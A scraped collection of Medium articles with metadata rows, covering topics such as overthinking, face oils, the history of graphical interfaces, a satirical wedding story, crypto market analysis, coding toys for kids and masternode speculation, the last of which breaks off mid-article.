To overcome overthinking, Pittman recommends you replace the thought. “Telling yourself to not to have a certain thought is not the way to not have the thought,” she says.”You need to replace the thought.” What if she were to tell you to stop thinking about pink elephants? What are you going to think about? That’s right: pink elephants. If you don’t want to think about a pink elephant, conjure up an image of, say, a tortoise. “Maybe there’s a big tortoise holding a rose in its mouth as it crawls,” says Pittman. “You’re not thinking about pink elephants now.”
Talk yourself out of it by noticing when you’re stuck in your head. You can tame your overthinking habit if you can start taking a grip on your self-talk — that inner voice that provides a running monologue throughout the day and even into the night.
“You can cultivate a little psychological distance by generating other interpretations of the situation, which makes your negative thoughts less believable,” says Bruce Hubbard, the director of the Cognitive Health Group and an adjunct assistant professor of psychology and education at Columbia University. This is called cognitive restructuring.
Ask yourself — What’s the probability that what I’m scared of will actually happen? If the probability is low, what are some more likely outcomes?
If it’s a problem you keep ruminating about, rephrase the issue to reflect the positive outcome you’re looking for,” suggests Nolen-Hoeksema.
“Instead of “I’m stuck in my career,” tell yourself or better still write, “I want a job where I feel more engaged.” Then make a plan to expand your skills, network, and look for opportunities for a better career.
Find a constructive way of processing any worries or negative thoughts, says Honey. “Write your thoughts down in a journal every night before bed or first thing in the morning — they don’t have to be in any order. Do a ‘brain dump’ of everything on your mind onto the page. Sometimes that can afford a sense of relief, ” recommends Honey Langcaster-James, a psychologist.
You can also control your ruminating habit by connecting with your senses. Begin to notice what you can hear, see, smell, taste, and feel.
The idea is to reconnect with your immediate world and everything around you. When you begin to notice, you spend less time in your head.
You can also notice your overthinking habit and talk yourself out of it. Becoming self-aware can help you take control.
“Pay a little more attention,” says Carbonell. “Say something like: I’m feeling kind of anxious and uncomfortable. Where am I? Am I all in my head? Maybe I should go take a walk around the block and see what happens.”
Recognise your brain is in overdrive or ruminating mode, and then try to snap out of it immediately. Or better still, distract yourself and redirect your attention to something else that requires focus.
“If you need to interrupt and replace hundreds of times a day, it will stop fast, probably within a day,” says Dr Margaret Weherenberg, a psychologist and author of The 10 Best-Ever Anxiety Management Techniques. “Even if the switch is simply to return attention to the task at hand, it should be a decision to change ruminative thoughts.”
It takes practice, but with time, you will be able to easily recognise when you are worrying unnecessarily, and choose instead, to do something in real life rather than spending a lot of time in your head.
For example, convert, “I can’t believe this happened” to “What can I do to prevent it from happening again?” or convert “I don’t have good friends!” to “What steps could I take to deepen the friendships I have and find new ones?” recommends Ryan Howes, PhD.
Don’t get lost in thoughts about what you could have, would have, and should have done differently. Mental stress can seriously impact your quality of life.
An overactive mind can make life miserable. Learning how to stop spending time in your head is one of the greatest gifts you can give yourself.
Like all habits, changing your destructive thought patterns can be a challenge, but it’s not impossible. With practice, you can train your brain to perceive things differently and reduce the stress of overthinking.
If overthinking is ruining your life, and if you think you may be spiralling into depression because of your thoughts, it pays to get professional help. | https://medium.com/kaizen-habits/psychologists-explain-how-to-stop-overthinking-everything-e527962a393 | ['Thomas Oppong'] | 2020-08-25 12:28:56.900000+00:00 | ['Health', 'Mindfulness', 'Mental Health', 'Self Improvement', 'Psychology'] |
Face Oil Buying Guide: 3 Essential Checkpoints to Look For in Face Oil | By now, it is no longer a secret that oil and skincare complement each other and there are many benefits to adding a face oil into your skincare routine!
However, when it comes to picking the right face oil for your skin, it can be a daunting task. From familiar oils (rosehip oil and jojoba oil etc) to exotic ones (acai oil, moringa oil etc), the options are seemingly endless.
To help find your soulmate face oil, here’s 3 essential checkpoints for you to keep in mind:
Face oil Checkpoint 1: Do the smell test
If you find the face oil has an obvious and overwhelming scent, it may also contain artificial fragrances to help make the product smell more attractive. These potent aromas may make you “think” you’re buying luxury and natural products, when in reality, you’re getting a product which can be potentially irritating for your skin and bad for your health.
Action: Again, read your ingredient labels. If you see “fragrance” or “parfum,” please leave the product on the shelf! But read labels carefully, as some products use other chemicals to mask scent to misrepresent an “unscented” experience.
Face oil Checkpoint 2: Do the touch test
As an attempt to mitigate people’s fear of greasiness attached with face oil, some face oils would add ingredients such as mineral oil, silicone / dimethicone as the oil base to achieve a light, silky texture.
So, make sure to feel the face oil on your own skin before purchase, and if it’s giving you a fast-absorbing and smooth sensation, check the ingredients list to see whether any of the mentioned ingredients were included for the sake of their illusory skincare effect (besides, these ingredients have less unsaponifiable and antioxidant nutrients compared to natural, plant-based oils).
Action: Read your ingredient labels. If you see the ingredient that includes the following, try to avoid as much as possible:
1. Mineral Oil 2. Dimethicone-related ingredients:
- Amodimethicone
- Methyltrimethicone
- Cyclotetrasiloxane (D4)
- Cyclopentasiloxane (D5)
- Cyclohexasiloxane (D6)
3. Synthetic skin conditioning agent:
- Isononyl Isononanoate
- Isopropyl Myristate
- Octyl Palmitate
Face oil Checkpoint 3: Watch for red-flag fillers
Apart from smell and touch, if you’re still unsure whether the face oil you are looking for is clean enough, check the ingredient list again and see if you can find ‘water’ as the first or second ingredient (including hydrosols, floral water, aloe vera etc), as it can imply strong preservatives such as: BHA / BHT, Phenoxyethanol and Parabens may have been added to the product.
Other concerning yet scentless ingredients such as artificial colors and -PEG surfactants can also be added to make the product look more appealing and stable. However, these additives can be problematic, especially if you have sensitive skin.
Action: Avoid face oils containing surface active agents such as PEG-40 Hydrogenated Castor Oil / PEG-60 Hydrogenated Castor Oil / PEG-6 Caprylic / Capric Glycerides. | https://medium.com/@greenvines/face-oil-buying-guide-3-essential-checkpoints-to-look-for-in-face-oil-8997f994d11 | [] | 2020-12-25 01:24:51.488000+00:00 | ['Beauty Products', 'Face Oil', 'Wellness', 'Beauty', 'Skin Care Products'] |
A little history of the graphical user interface | I’d like to start this article by talking about a documentary series about web design called “Abstract” on Netflix. In the second season there’s an episode on Digital Design that focuses not only the internal work of Instagram’s design team, led by Ian Spalter, but also references the beginnings of Interaction Design in general.
I myself totally recommend doing so. And you might find it helpful too, because in order for you to understand Interaction Design, you first need to become familiar with its beginnings.
Abstract Trailer
How did it all begin
Graphical User Interface (GUI) arose precisely due to research done by engineers from the Xerox company (Alan Kay, Larry Tesler, Dan Ingalls, David Smith, Clarence Ellis and a number of other researchers) with a background in Human Factors, and therefore expertise in human/machine behavior. In the early ’70s, these engineers created, in addition to laser printing and Ethernet, a small mobile box connected by cable to a computer.
Upon moving this little box, the user would subsequently see an arrow moving around the computer screen. Any idea what this little box was that they had invented? You guessed it… these brilliant minds had created one of the first-ever computer mouses, and in the process the computer/user interface.
“Command-line interface”
Some years after this creation was born in 1979, Steve Jobs visited the Xerox center to see firsthand this new invention. Although Xerox’s management didn’t recognize it’s true potential, in it Steve Jobs saw a revolutionary future in which users could to interact directly with a graphical user interface instead of a command-line interface. In fact, it’s said that Jobs made the following comment to one of the Xerox engineers:
“You guys are sitting on a gold mine! Why don’t you develop this technology? You guys could change the world with it!” — Steve Jobs
And so that was basically how Apple came to introduce this new concept into its operating system Lisa, thus managing to bring computer use to the masses. It was, of course, a revolution that would come about gradually, as not everyone could afford a computer initially due to how expensive they were during that era.
As for the people reading this who are not yet graphic designer experts, let me explain what the term ‘interaction design’ means. As you can imagine, every object designed needs a user to interact with it.
What interaction design aims to do, therefore, is reduce any negative aspect(s) experienced by the user during this interaction, thereby generating a pleasant user experience. A well-made interaction design should therefore be easy, effective, and pleasant to for the user to use.
Returning our attention to the documentary “Abstract,” one of the things which I most liked about it was that they mention interaction design various times throughout the film.
One example of this in the film is when Jeff Raskin’s son talks about how his father, an engineer for Apple who passed away in 2005, introduced an important contribution to the world of interaction design: the ability to click & drag objects with a mouse-controlled pointer as part of a graphic user interface.
For example, if you’ve ever used a Mac then you’d know that installing or uninstalling an application on its operating system is as easy as clicking on an application icon and dragging it to the trash. If you think about it, it’s actually quite similar to the real world, whereby if you want to throw something away you have to physically pick it up and carry it over to the trash can before dropping it.
It was a user interaction that nowadays might seem simplistic, but which in the late ’70s still didn’t exist. And it marked the beginning of a new era of human-machine interactions.
To understand user interaction, one must understand that interaction doesn’t begin with a mouse click. In reality, it starts with the user’s desire to complete an action and his/her understanding of the system; it is from there that he/she then begins to interact with the graphic interface. This you can learn more about by viewing my video on micro-interactions with Yolanda del Olmo, which can be found on Pildora UX’s official Youtube channel.
Here I’ll give you a basic example of this concept so that you can understand it better. Have you ever visited a web page which has elements that resemble buttons or links, but which in reality aren’t? From now on I recommend that, when using any graphic interface, you analyze whether the elements and components with which you are interacting have this same problem.
Keep this in mind because if you specialize in interaction design, it will be your responsibility to determine how a digital product or service behaves with its user.
Another common task that will befall upon you as a designer will be to make user flows, in which you will determine how your user navigates through your product in order to complete an objective or task. To complement these user flows, you will then need to create wireframes, which will illustrate the details of the user interaction(s) which you hope to achieve. One example of this would be detailing how you expect a drop-down menu on a webpage to behave with the user interacting with it.
In this article below you can find a reference guide for some of the most common user interactions. While surely you don’t know the names for all the different touch gesture commands, don’t worry because with time and practice you will.
In the meantime, however, it will probably be necessary to have at least some basic knowledge of them, so that you can adequately describe the nature of the user’s interactions with each element or component you design.
Conclusions
As you can see, understanding the basic concepts of interaction design is a total necessity for becoming a professional UX designer. Additionally, there are other rules and guidelines that will also help designers create a strong interaction design, such as the principles of design.
In addition to learning the basic principles of design, another thing which is essential to keep in mind is your end product’s users, something which companies too often forget. Before designing your initial user flows and wireframes, you should already have on hand the most important findings of the research phase involving real users.
This is important because if the company making the product doesn’t provide you with this, or allow you to conduct your own trial research, you will be unable to make data-based decisions on what the users’ needs will be. Making decisions based on assumptions and preconceived notions of what the user needs might be is a bad way to start your project.
Anyways, much thanks for taking the time to read it, and if you enjoyed it then feel free to share with others.
This article was originally published in Spanish, you can read here
References | https://uxdesign.cc/a-little-history-of-interaction-design-d7851e359ed5 | ['Gema Gutiérrez Medina'] | 2021-04-03 09:26:58.040000+00:00 | ['Hci', 'UI', 'User Experience', 'Usability', 'Interaction Design'] |
A Friend Officiated Our Wedding And Now My Husband’s Dead | My husband Cameron and I got our friend to officiate our wedding. We didn’t want a stranger up there with us on our special day. We wanted someone we knew, someone with whom we were comfortable, someone who wouldn’t charge us money.
And while none of our guests understood a word our friend said because he stood too far from the microphone, he had no idea when to have us exchange rings, he didn’t write any prepared marks and chose to free-form stuff about love, he tried quoting ‘Princess Bride’ while doing a lame impersonation of that speech-impediment priest, he knocked over our unity candle, setting the Maid of Honor’s dress on fire, and when it turned out that his Universal Life Church ordination was not valid in our part of New York State, our marriage turned out not to be legal, at least he didn’t charge us any money.
Even though he completely ruined our ceremony, it was personal, it was someone we knew. And that’s all that matters. And we saved money.
We also elected to have a friend cater the wedding, because he’d had us over for barbecues so many times before. We wanted to know that the food had been prepared by someone close to us, someone who knew our dietary particulars. And while he prepared burgers and hot dogs despite our specific request for a choice of salmon or chicken, and even though most of the hot dogs were rubbery, and there was only enough food for about thirty of our eighty guests, and he forgot to supply any utensils, and the condiments ran out after ten minutes, at least we knew that he’d ruined our wedding reception with love, on a very personal level.
And best yet, our other friend, the one we’d hired to photograph our wedding, salvaged a dozen shots of our friend cooking, even though he lost the rest of the wedding photos when he forgot to load his one camera with a memory card. And we saved money.
We wanted to drive to our honeymoon but our car needed a new transmission. Even though we knew there was a respected mechanic right around the corner, we decided to have our friend fix our transmission. It was so much more personal that way. That car was important to us, so it was important that we have a friend touching its parts. I just couldn’t live with myself if I knew that a stranger had been touching my car’s parts, even if that stranger was actually a professional who knows how to fix cars.
And while our friend had no idea what he was doing, and the transmission is still broken, and the car doesn’t work, and my husband had a heart attack when he tried to push the car back to our driveway, at least we know that our friend tried to help, with love. And we saved money.
My husband needed to have a pretty serious heart bypass surgery as a result of the heart attack, and while I knew that there were doctors who did that sort of work, this was my husband’s heart we were talking about. This was the organ with which he loved me. I couldn’t just have some guy I met in a hospital put his hands all over my husband’s chest cavity. That would have been just so impersonal. We decided to have our friend perform the surgery. He played a doctor in a community theater production last fall and he looked great in hospital scrubs. This was so much more comforting for us, knowing that when my husband’s life was on the line, when he was dancing on the edge of death, he was in the presence of a true friend.
And while the operation was unsuccessful, and my husband is now dead, it’s okay, because we know he died by the hand of a friend. And by not visiting a hospital or using a real doctor, we saved money.
My husband’s funeral is tomorrow, and I’ve found another friend to say the memorial. Another friend stepped up to actually dig the grave, which is fair because I asked yet another friend to do the embalming. After googling ‘how to embalm somebody’, my friend assured me that she had a real solid grasp on the basic principles.
She didn’t: my husband looks worse now than he did during the middle of the surgery, just stickier, but at least he was mangled into this horrendous disfigurement by a friend, someone who knows us, someone who didn’t charge us any money. | https://medium.com/slackjaw/a-friend-officiated-our-wedding-and-now-my-husbands-dead-998c51f6f99f | ['Christopher Shelley'] | 2019-12-07 18:36:27.926000+00:00 | ['Jobs', 'Satire', 'Weddings', 'Gig Economy', 'Humor'] |
Have ETH, BCH & BTC Recovered? Not Really: Market Analysis & Trade Paths, Aug 19 | This is a week of decision for cryptocurrencies. Will Bitcoin, Ethereum and other cryptos show more recovery or will they go back to the dumps?
The recovery that Bitcoin, Ethereum and several altcoins in the market were making earlier in the week has either petered off or have stalled entirely. This is not entirely surprising, given that the recovery spurts we saw earlier this week were caused by some bargain buying at support areas, rather than a true change in market sentiment.
As the crypto markets await key decisions by the U.S. Securities and Exchange Commission (SEC) on a few Bitcoin ETF applications, we will probably see some brief continuation of upside movements, before the market responds in force to the announcements. Traders should be aware of the announcement dates and times and program their trades accordingly so as not to be caught on the wrong side of the tracks.
So what is the outlook for the top 3 cryptocurrencies as we prepare to enter the home stretch in the month of August 2018?
ETH/USD
Ethereum’s recovery from the $280/$290 lows seen early last week seems to have stalled, as the cryptocurrency is finding it difficult to break above the $300 psychological support area. However, this is the last day of the week and the closing price at the end of today will determine what the price action will do.
Presently, the weekly candle has transformed into a pinbar, which is sitting at the support line at $290. If the candle ends this way, then the price will, in the long-term, move upwards to the next resistance level, which is found at the previous support area that was broken by last week’s downside. This is the $390 price level. The news from the SEC will play a role in how the weekly candle or next week will look like.
The price action on the daily chart is still contained within the downward channel that was identified in our last analysis. We are already seeing a bounce off the lower channel line, where a pinbar formed after Tuesday’s price action. Pending any surprises, we expect price action to continue in its bounce off the lower channel line. It may take some time for the price to reach the upper channel line as there are many obstacles to cross along the way.
The hourly chart shows price being firmly resisted at the R1 area. This corresponds to a previously broken support at the same area. We also see that the price action is forming higher intraday lows. Therefore, we expect the short-term price movement to be slightly bullish if the R2 pivot is broken to the upside. However, any bullish moves will be limited by the resistance areas lurking not too far away.
Outlook for ETH/USD:
Long-term — bearish
Mid-term — bearish
Short-term — bullish
BTC/USD
BTC/USD’s upward recovery has stalled somewhat. This is also not surprising, as BTC/USD has been seeing lower highs over the last few months. This means that in the long term, BTC/USD will find it harder to hit the previous highs it has made, except some major positive news breaks the present jinx. With some news coming from the US SEC this week on whether some pending Bitcoin ETF applications will be approved or not, this news may just be around the corner.
In the meantime, price will continue to oscillate between the ranges found between the support at $5,700 and the descending resistance levels above this area (marked by the descending upper trend line).
The picture on the daily chart shows that the price action is close to a pending resistance, which is also serving to limit the upside. Again, it will take some positive news in the crypto markets to push prices far enough to break above the resistance areas on the chart. We may see the Fibonacci fan areas becoming significant with any advance. Sentiment is bearish and these areas may serve as areas to sell on rallies, pending the SEC announcement.
The hourly chart reveals that price action is oscillating between the central pivot below and the R1 pivot above. This may be the trading ranges for the day.
Outlook for BTC/USD
Long-term: bearish
Medium-term: bearish
Short-term: neutral
BCH/USD
The close of the candle for the day will also mark the close of the weekly candle. This will clearly tell us where the price has closed in relation to the horizontal support line seen on the weekly chart. So we really need to wait for the weekly bar/candle to close over the weekend to know if the support level (blue horizontal line) will hold firm or not, and also to get a picture of the candlestick pattern that will form at that area. We also need to watch for price action on Bitcoin, to which the BCH/USD pair is highly correlated.
The daily chart shows a divergence between the RSI indicator and the price action. This is a positive divergence, which indicates that there will be some bullish movement on this pair.
On the hourly chart, the price action on the Bitcoin Cash is supported by an upward pointing trendline, but is being resisted at the R2 area. If price is able to break above this R2 area, then there will be some little upside before price gets to the next resistance area at $580.
Outlook for BCH/USD
Long-term: bearish
Medium-term: bearish
Short-term: weakly bullish
Disclaimer: information contained herein is provided without considering your personal circumstances, therefore should not be construed as financial advice, investment recommendation or an offer of, or solicitation for, any transactions in cryptocurrencies. | https://medium.com/bitrates-news/have-eth-bch-btc-recovered-not-really-market-analysis-trade-paths-aug-19-769146065daa | [] | 2018-08-19 11:38:57.773000+00:00 | ['Investing', 'Bitcoin', 'Ethereum', 'Market', 'Bitcoincash'] |
A Loss of the Time of Your Life. How the pandemic changed the lives of… | Dasha In Her Room Taken By Dasha Balashova
Dasha Balashova
For Dasha Balashova, the pandemic threw her out of New York City and back to Palo Alto, California. “I wouldn’t call it a transition. It was very abrupt,” she says. She recounts spring break getting extended for a week and everyone complaining about being home for two weeks. Now, it’s almost been a year.
According to Balashova, California has changed during this time. “People seem a lot more distant, which is odd in California. I’m used to that in New York, but here people will say ‘hi’ to each other,” she says. People are scared of each other; the pandemic has managed to take the friendliness even out of Californians.
Like Rowley, Balashova had to learn to be alone. “I just learned how to spend time with myself. I’m very much a people person, and so sometimes it’s hard for me to be alone for long periods of time. But I’m definitely kind of grateful for that. I think that’s a good skill to have,” she says.
She’s grateful for FaceTime. “If this thing happened 20 years ago, I don’t know what I would do then,” she says. At the same time, she longs for time spent with friends with no specific goal. “When you FaceTime someone, you still feel like you gotta update each other on something, at least talk about the smallest thing… I miss hanging out with my friends and not having to do anything.” Her best friend from home, Keili FitzGerald, also goes to school in New York and moved back in August. She says, “There are some things that I just can’t tell you over the phone. I need to be sitting on the couch next to you. And sometimes I just want to spend time with you, but if I call you, I feel like I have nothing to say.” This semester is the longest time the two have ever spent apart.
Instead of walking to class in the morning, Balashova now does most of them from her bedroom. Rather than hanging out in Washington Square Park after class or smoking cigarettes with classmates outside the university entrance on 5th Avenue, she works with kids. “I work at a school [in Campbell, California], and I’m a first-grade Spanish and Art History teacher. She got offered the job through family friends — the school’s owners — who called her over the summer and offered a position with the summer camp; then, they asked her to stay for the school year. “It has nothing to do with what I actually want to do,” she says, but at least it’s something to keep her busy.
Moving back in with her mom was a sudden loss of independence. It was hard “not being able to do the dishes the way that I want to do them… or my mom walking into my room,” Balashova says. “It’s like, can you knock?” With time, though “we found like a good balance, my mom and I,” she says. They’ve fought less, too. “I think it’s really because there’s nothing to fight about because I’m not doing anything that she doesn’t want me to do.” Regardless of the disagreements the pair has had, Dasha’s mom, Inna Balashova, says that the pair “did spend some good, good time together,” but that she felt bad that Dasha had to come home instead of living her own life.
Balashova plans to return to New York in January. She just applied to an apartment in the East Village with three of her close friends. | https://medium.com/@rowls794/a-personal-relationship-with-covid-19-def41be94522 | ['Stevie Rowley'] | 2020-12-16 02:11:34.072000+00:00 | ['Personal Experience', 'Covid 19', 'New York City', 'Covid Diaries', 'College Covid 19'] |
7 Gift Ideas for Kids Who Want to Code | Buying gifts for a budding software engineer? These are some of the best coding toys and games to get your kids interested in STEM and spark their inner geek.
By Carol Mangis & Jake Leary
Kids are constantly glued to their devices: texting friends, playing games, watching (or creating) videos, and sharing selfies. But most children—whether or not they know it yet—are thrilled to have a more hands-on, under-the-hood experience with digital technology.
Parents who want to encourage and inspire their kids to stretch their science, technology, engineering, and mathematics (STEM) muscles probably already know this, but there are plenty of toys and kits claiming to provide just that. Here’s a roundup of products that give kids a real, creative experience of electronics, robotics, and coding and to build interest and confidence in the most neophyte techies.
Elenco Snap Circuits Discover Coding
A new kit from the venerable kit-maker Elenco offers another way to introduce kids to coding. Once they learn the basics, they’re able to control Snap Circuits projects’ lights, sounds, and motors via a phone or tablet. True beginners can start with graphical coding; once they’re ready, they can move up to Blockly coding. The kit comes with more than 30 Snap Circuits part s— colorful, rugged electronic components that snap together. Ages 8 and up.
Piper Computer Kit 2
Piper’s Computer Kit 2 includes all the components you need to build your own computer: a Raspberry Pi 3 Model B, mouse, battery, blueprint, and set of screws, plus nuts, wood boards for the chassis, and a screwdriver to put the case together. The kit also comes with wires, buttons, switches, LEDs, and breadboards to use with post-build coding projects.
Parents and teachers should be on standby throughout the build process, especially for kids at the low end of Piper’s recommended 8-and-up age range. Once it’s built, you can play games in a special Minecraft mod that shows you how to build hardware projects you can use, in turn, to accomplish goals within the Minecraft universe. Even better, the Piper computer also serves as an actual computer; it goes online, has a word processor, and so on. The Piper Computer Kit remains a clever smart toy and, despite its steep price, is worth every screw-turning, breadboard-wiring, code-writing second.
Kano PC
The Kano PC kit is a great launchpad that can get kids ages 6 and older interested in computers and software coding. The kit contains the hardware components you need to create a working Windows 10 tablet — including an Intel Atom x5-Z8350 quad-core processor clocked at 1.44GHz, 4GB of DDR3 RAM, and 64GB of storage, as well as a MicroSD card slot and detachable keyboard.
You connect everything together by following storybook instructions. Projects include coding and making art, music, and games, and kids will learn about the inner workings of a PC and how to code through onboard apps.Your DIY tablet will also work with Windows apps such as Word and Excel, along with many others. And you can visit Kano World online to safely share projects with the Kano community. Ages 6 and up.
Robo Wunderkind Starter Kit
Young coders will have everything they need to build their own little bots, as well as code and operate them, with the Robo Wunderkind Starter Kit. You get several types of motors and sensors, wheels, a programmable button, an RGB light, and a main block with a speaker, mic, and battery; everything snaps together easily. You use two apps: Robo Code, to set your robot’s behaviors; and Robo Play, which lets you remote-control your bot. The former has tutorials and guides you through building projects — and eventually, you can create your own robots. Even better, Lego adapters are included, so you can augment your creations exponentially. Ages 6 to 12.
Microduino Itty Bitty Buggy
A builder kit that’s compatible with Lego blocks as well as with other kits from the company, the Microduino Itty Bitty Buggy comes with a base buggy to build on, as well as more than 50 snap-together mobiles with varying functions. Kids can build four fun projects with the kit: a Sloth, Ladybug, Dodo bird, and Alien. They can then code behaviors for their creations using either simple drag-and-drop coding (based on Scratch 3), more sophisticated Python, or even higher-level text-based Arduino IDE (C++). For those who want more, the Microduino Creative Expansion Kit ($19.99) features components for three more projects — or just invent your own. Ages 8 and up.
LittleBits Code Kit
We’re fans of LittleBits modular electronics kits; we’ve awarded them several Editors’ Choice awards, including the second-edition Gizmos & Gadgets Kit. The LittleBits Code Kit is designed to be used in educational settings to introduce kids from third to eighth grades to programming principles, by creating games through coding. LittleBits encourages parents to urge their schools to buy the kit. But if you really want to get your kids involved in coding and are willing to take an active role in the process, you can purchase the kit yourself. It may be overkill for some, but it’s a robust solution and an effective tool. Ages 8 and up.
Lego Boost Creative Toolbox
For kids who are a bit too young to handle Lego’s venerable MindStorms robotics kits, look no further than its Boost Creative Toolbox. Designed to introduce children to coding and robotics, the Boost kit provides building blocks with sensors, motors, and app-based coding to help them build a variety of robotic toys that can respond to stimuli. It’s a simple, fun, and relatively affordable approach that teaches the principles of programming, making it worthy of our Editors’ Choice designation. Ages 7 to 12. | https://medium.com/pcmag-access/7-gift-ideas-for-kids-who-want-to-code-2ec682ed493 | [] | 2020-12-14 17:02:35.359000+00:00 | ['Coding', 'Kids', 'STEM', 'Gifts', 'Technology'] |
A Presentation Tip that Changed My Public Speaking | Several years ago I was out to lunch with a mentor and he shared a presentation tip with me I have never forgotten. This was the days before I owned my company, Ethos3, but it had such a positive impact on me that it has become a staple in my presentation training for clients.
It’s so simple yet so profound, and I’m excited to share it with you today. I hope it changes your public speaking lens just like it changed mine.
The 50/50 Balance
When I sat down with my mentor for lunch on that random business day, we began to discussing both our passions for presentations. It’s then he shared with me that in almost any presentation environment you are going to have a 50/50 mix of introverts and extroverts in the audience. Granted, this may change from 60/40 or 70/30 but generally it is safe to assume you are going to have a healthy mix of both. If you are new to these terms, I’ll briefly explain how I was taught the difference between these two personality types.
The Differences
I like to look at both of these groups as possessing a battery in the middle of their chest. If you are an introvert like myself, my battery tends to get depleted when socializing and being in group settings like a dinner out with friends, hanging out at a party, or doing anything in general around big groups of people. In order to get in recharged, I need to spend time by myself until I feel ready to go out and socialize again. If you are an extrovert, you are probably the exact opposite of the above description. You most likely get energized being around people and depleted when left by yourself for too long of a period of time.
Practical Application
Now that we have acknowledged these differences, let’s address how this can be applied to your presentations moving forward. As an introvert, I need time to process information and data. It is always going to be in my best interest to hold on to my thoughts and present my feedback after I have had time to digest information presented to me. Understanding this reality, I’ll never call on someone to contribute when I’m giving a presentation since there is a 50% chance I may be making that request of an introvert and they won’t appreciate me in that scenario. However, I also need to understand that half of the room is made up of extroverts so as a presenter I’ll need to mindful about creating opportunities for participation and involvement via pre-planned exercises and workshops.
Conclusion
Introverts and extroverts. They exist in every audience. Your task is to make sure you respect both parties when giving any presentation.
Author Bio
Scott Schwertly is the Founder and CEO of Ethos3 and the creator of Badge, a proprietary presentation assessment tool which helps presenters discover and maximize their presentation style. He is also the author of two books, What’s Your Presentation Persona? (McGraw-Hill, 2017) and How to be a Presentation God (Wiley, 2011). If Scott is not working with his team building presentations, you will find him in the pool, on the bike, or on a long run since he is a 2x Ironman, 7x marathoner, and competitive triathlete. | https://medium.com/@scottschwertly/a-presentation-tip-that-changed-my-public-speaking-fba6c4c508f0 | ['Scott Schwertly'] | 2021-12-16 17:43:07.968000+00:00 | ['Presentations', 'Public Speaking', 'Communication Skills', 'Public Speaking Tips', 'Presentation Skills'] |
Transformations | He saw himself in the mirror. He saw his body: skinny, long, straight. His hair, blonde and broken which once sparked off his head was kept contained from the taupe wig cap he had on. His dark grey eyes stared back at him as his long fingers traced down the glaciers of his cheekbones. His pale skin gleamed in the fluorescent light of the studio, his sanctuary.
He had pictures lining the sides of his vanity, from his first experimentations with makeup to him performing with various celebrities. His brushes sat in the front, pointing up from their partitions like mini skyscrapers as his palettes created the pavement in front. His drawers were lined with products: the top of the range foundations, blushers, concealers and, most importantly, lipsticks. He saw each one of them like a weapon, as a rush of power filtered through his body when holding them.
He prepped his face delicately, covering the imperfections that obstructed the blank canvas of his skin. He outlined the dips in his cheeks in three shades below and three shades above to create the structure he craved. You want your face to be as defined as your decisions his drag mother would tell him, and he would be damned if he ever disobeyed this. He dragged a blush of fuchsia across the apple of his cheeks, creating the fairy tale fantasy he always attempted to honour. He scattered a flat white layer of loose powder across his face, which created his own orbit of snow to surround his head.
He took a breath before opening his most beloved palette, revealing a spectrum of kaleidoscopic shades for his eyes. He reached for the slim brush that stood with such pride in his collection and dipped it into a strongly pigmented cerulean blue. He slowly swiped it across his eyes, taking care to circumvent from error. He decided he liked it. He continued to layer this on so the colour could no longer be misinterpreted. He added a lilac glitter to the crease of his lid, which brought out a green in his once grey eyes. He measured up the line of lashes to his own, and gently placed them with the precision of a surgeon. He fluttered them, making sure they were secure whilst also revelling in the femininity he began to feel. He swooped a long, white wig onto his head, and secured it down meticulously to the peak of his forehead.
She saw herself in the mirror. She saw her body: curvy, powerful, feminine. Her hair, icy and silken which reached down to the small of her back in full force. Her once dark grey eyes beamed back at her with elements of emeralds and sapphires, as her long fingers barely touched her precisely painted face. Her glowing skin shone in the fluorescent lights of her sanctuary, her stage. | https://medium.com/@cecekane73/transformations-2cd02f6cb378 | [] | 2020-12-20 16:41:18.038000+00:00 | ['Description', 'Drag Queens', 'Transformation', 'Short Fiction'] |
YOUR DAILY DYSTOPIA | 2017.09.21 | After reading the news today, I had a primal scream, closed my laptop, had another primal scream, then walked to work.
— — — —
Have you done your part today? If not, take a moment to decide what to do, how you can help, and pitch in! Maybe pitching in for you means telling me I’m dumb, go for it! Whatever it is, make your time count!
— — — —
Catch up back issues of YOUR DAILY DYSTOPIA on … | https://medium.com/your-daily-dystopia/your-daily-dystopia-2017-09-21-947eb0151c99 | ['Fred Chong Rutherford'] | 2017-09-21 00:00:00 | ['Daily', 'Poetry'] |
The Speculator’s Guide To Masternodes and Masternode Network Value | Given the fervour that began with DASH announcing the release of its initial masternode system and that continues to surround the plethora of projects now offering their own versions of one, what exactly is the incentive for a speculator to run a masternode, and how can one navigate the oversaturated space to find the most promising opportunities? One brief glance at a masternode directory, such as www.masternodes.online, will suffice to show just how daunting a task this can seem to those unfamiliar with the territory; with well over 300 masternode coins listed on that website alone, what should you really be looking for?
Masternode Network Value (MNV), as I like to call it, is the calculation that I consider the key to unlocking the most dependable opportunities in the masternode space. Note that I do not say ‘most profitable’, but rather ‘most dependable’. There is a critical difference between the two, but we will get into that a little later. By the end of this post, you will have a comprehensive take on my approach to masternodes: how I research and analyse them; the distinction between profitability and dependability; why I believe that MNV is the most informative calculation one can make regarding masternode speculation; and how the common pitfalls can be avoided.
But first, we must first define what a masternode is and why they can be a profitable addition to an altcoin portfolio. Forgive me if I butcher the definition, though I write from the perspective of a speculator, and, as such, much of the (irrelevant) technical information has been omitted:
A masternode is simply collateral, in the form of a predetermined amount of a given coin, that fulfils certain tasks on the blockchain and is rewarded for these tasks, often with a fixed portion of the block reward.
Thus, running a masternode is financially incentivised, and one can begin to accrue a steady passive income given an appropriate strategy. Needless to say, it is a space rife with opportunity but also pitfalls, and rarely is it ever as easy as simply selecting a masternode coin, buying the collateral and watching the income pour in. I first began to utilise masternodes in my own altcoin portfolio around twelve months ago, being aware of the potential rewards but anxious about the technology and all that goes with it prior to that. Since then, they have become integral to my strategy, and some of the greatest returns-on-investment that I have gained have stemmed from such projects.
Without further ado, let’s get stuck in.
Tools and Resources:
To begin with, we need to identify the tools and resources available to us to search out — with some luck — promising masternode projects. As far as I am aware, there are five useful masternode directories or ranking websites:
These should suffice for the research process, though I often also scour the Bitcointalk threads — using a simple search for ‘masternode’ — to bolster the list of potentials.
Masternode Network Value:
Now, we must define what I deem to be the most important calculation (for a speculator) concerning masternodes: Masternode Network Value, or MNV. Masternode Network Value is as follows:
(cost of one masternode x number of masternodes online) / circulating market cap
To clarify, let’s take DASH as an example. The MNV of DASH would be:
(39.04BTC x 4656) / 318,233BTC = 0.571 or 57.1%
For comparison, let’s take MANO as an example. The MNV of MANO would be:
(1.8BTC x 186) / 937BTC = 0.357 or 35.7%
And finally, let’s take MEDIC as an example. The MNV of MEDIC would be:
(2.31BTC x 144) / 2202BTC = 0.151 or 15.1%
